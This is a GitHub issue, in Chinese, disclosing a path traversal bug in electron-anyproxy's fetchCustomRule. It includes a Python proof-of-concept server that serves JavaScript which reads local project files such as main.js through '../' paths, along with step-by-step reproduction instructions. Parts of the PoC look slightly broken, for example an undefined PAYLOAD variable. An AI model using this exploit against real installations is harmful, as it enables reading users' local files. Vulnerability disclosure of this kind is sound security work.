-
Notifications
You must be signed in to change notification settings - Fork 140
Description
测试环境
mac 安装:v8.17.0
nvm install 8.17.0
nvm use 8.17.0
npm install -g npm@6.14.17
npm start
chrome
proxy-switchomega 插件
漏洞详情
在fetchCustomRule中,路径直接拼接后,然后直接调用fs.readFile 函数,这存在路径穿越的拼接,当路径是/../fakeuser 的时候,就可以实现穿越。
测试
POC代码:
`
from http.server import HTTPServer, BaseHTTPRequestHandler
VERSION = "macos-poc-v2"
JS = (
"var api=window.remoteApi;"
# 目标1: 读 <项目根>/main.js
"api.fetchCustomRule(`/../../main`)"
".then(function(d){"
" alert(`[" + VERSION + "] 路径穿越成功\\n目标: <项目根>/main.js\\n------\\n`+d.slice(0,200))"
"})"
# 目标1失败则读 <项目根>/main-api.js
".catch(function(){"
" api.fetchCustomRule(`/../../main-api`)"
" .then(function(d){"
" alert(`[" + VERSION + "] 路径穿越成功\\n目标: <项目根>/main-api.js\\n------\\n`+d.slice(0,200))"
" })"
# 全部失败时打印诊断信息
" .catch(function(){"
" var path=require(`path`);"
" var fs=require(`fs`);"
" var base=path.join(__dirname,`rule_custom`);"
" var p1=path.resolve(base,`custom_../../main.js`);"
" var p2=path.resolve(base,`custom_../../main-api.js`);"
" alert("
" `[" + VERSION + "] 诊断\\n__dirname=`+__dirname+`\\n`"
" +`base=`+base+`\\n`"
" +`p1=`+p1+` exists=`+fs.existsSync(p1)+`\\n`"
" +`p2=`+p2+` exists=`+fs.existsSync(p2)"
" )"
" })"
"})"
)
class Handler(BaseHTTPRequestHandler):
def do_GET(self):
if self.path.split('?')[0] != '/poc':
self.send_response(404)
self.end_headers()
return
self.send_response(200)
self.send_header('Content-Type', 'text/plain; charset=utf-8')
self.send_header('Cache-Control', 'no-store, no-cache, must-revalidate, max-age=0')
self.send_header('Pragma', 'no-cache')
self.send_header('Expires', '0')
self.end_headers()
self.wfile.write(PAYLOAD.encode('utf-8'))
print(f'[*] Payload 已投递给 {self.client_address[0]} 版本={VERSION}')
def log_message(self, *args):
pass
if name == 'main':
print('=' * 60)
print(' electron-anyproxy 路径穿越 PoC —— macOS 版')
print('=' * 60)
print()
print(' 漏洞: main-api.js fetchCustomRule() 无路径校验')
print(' 效果: 读取 <项目根>/main.js 文件内容')
print()
print(' 操作步骤:')
print(' Step1: 启动 Anyproxy 应用(代理端口 8001)')
print(' Step2: 浏览器设置 HTTP 代理 -> 127.0.0.1:8001')
print(' Step3: 浏览器访问 http://127.0.0.1:8888/poc')
print(' Step4: 回到 Anyproxy 界面')
print(' 点击列表中 127.0.0.1 那条记录')
print(' 点击右侧面板顶部的 [Preview] 标签')
print()
print(' 预期: 弹窗显示 main.js 文件内容(前200字符)')
print()
print(' 服务已启动: http://0.0.0.0:8888/poc')
print()
HTTPServer(('0.0.0.0', 8888), Handler).serve_forever()
`
启动这个恶意server, 然后在chrome中设置好代理,让所有流量(包括本地的流量)都走electron-anyproxy。
开启抓包,使用chrome访问恶意server,抓到包后打开preview,执行结果如下:
